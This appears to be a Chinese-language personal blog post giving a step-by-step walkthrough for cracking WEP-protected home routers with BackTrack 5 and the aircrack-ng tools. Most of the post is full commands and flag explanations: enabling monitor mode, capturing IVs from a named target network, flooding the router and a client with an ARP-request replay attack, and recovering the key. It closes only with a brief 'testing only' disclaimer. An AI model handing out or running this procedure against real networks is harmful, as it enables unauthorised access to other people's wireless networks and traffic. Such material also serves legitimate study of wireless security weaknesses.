soho路由器wep加密的破解

 今天两点闭的眼，然后又做了一个非常非常贱的梦，实在受不鸟了，九点多就醒了……表示压力很大，有人为何总是缠着xqz，就是梦中也不放过xqz，而xqz就知道犯贱……不说了，直接正题：

       ·1.需要的工具：vm，bt4/5（我用bt5），本本，usb网卡（如果不用虚拟机，usb网卡就不用了，我用的是tp-link322g+）；　　　　

        2.步骤：

(1)bt5虚拟机的安装：这个不多说，用vm虚拟机加载bt5的iso文件，进行安装即可，介于vm没有针对bt5的设置，这里建议采用linux的ubuntu版本（因为我发现bt5更新的时候用的就是ubuntu的源）。或者直接下载bt5的vm文件，在vm里打开就行了，省去了安装步骤。从这个地址可以下载bt5的vm文件的种子：http://www.everbox.com/f/AqdfQ1F56WGHMf8B8NkOF3bInA

（2）打开虚拟机，插上usb网卡：

在虚拟机命令行接口下键入：ifconfig -a  以显示所有网卡（包括未激活的），看看是否usb网卡被虚拟机识别，若识别，则如下图：

 

 

 

　　　　下面对网卡进行激活：ifconfig wlan0 up  激活后，可以只用ifconfig命令就可以看到wlan0.

 

      

 

       接着进行对网卡的监听，这里采用airmon-ng工具，键入airmon-ng start wlan0，成功后如下：

 

划线部分为网卡的芯片类型，红圈为把网卡设为监听状态后，所虚拟出的一块网卡。

 

下面 探测无线网络，抓去无线数据包：命令 airodump-ng mon0 如图：

 

我们可以看到无线路由器的mac地址，该无线网络（tp-link——shark）所处的信道（ch=6），连接该网络的客户端的mac地址等等。

我们把路由的mac（54开头的 那个）和客户端的mac(00:1F:3c……)复制下来，以备用

 

 

下面命令：airodump-ng --ivs -w shark -c 6 mon0

--ivs是为了过滤出ivs文件；

-w后跟要保存的文件名，这里是shark，如果是第一次破解，那么生成的文件名应该是shark-01.ivs

-c后跟所处信道，这里是第六信道；

mon0为所进行监听的网卡

 

成功后如下图：

 

红圈部分为我们抓的无线数据包数量，由于客户机和路由器之间的流量交互较少所以data的上升非常慢，而破解一个web密码往往需要抓去至少1w个data，所以为了强制其大流量交互，这里我们需要进行一次arp攻击，用攻击主机（你的本本）向被攻击者（客户机和无线路由）发送大量的arprequest报文以迫使其产生大量的arp回包，快速增加抓包的速度！

命令：aireplay-ng -3 -b 路由的mac -h 客户的mac mon0（这里建议另开一个命令窗口）

-3 表示采用arprequest攻击

-b后跟路由的mac

-h后跟客户的mac

成功后如图：

 

此时若观察data 会发现其数量飞速上升。

 

接着对生成的ivs文件进行分析，计算出密码：

命令：aircrack-ng shark-01.ivs

成功后如图：

 

 

看到了“key found！”吗？注意红圈部分就是所破解出来的密码哦！！。。。。

 

 

说明：

该方式只针对对wep加密的无线网络，对于wap加密的无限网络，破解过程类似，但是要自己制作密码字典，进行暴力破解，这里暂时不介绍该种方式；

该方式只建议用于测试！若借此进行非法操作，后果自负！！；

以上内容，并非完全原创，为了尊重技术，也为了尊重bt5的开发者，特此说明！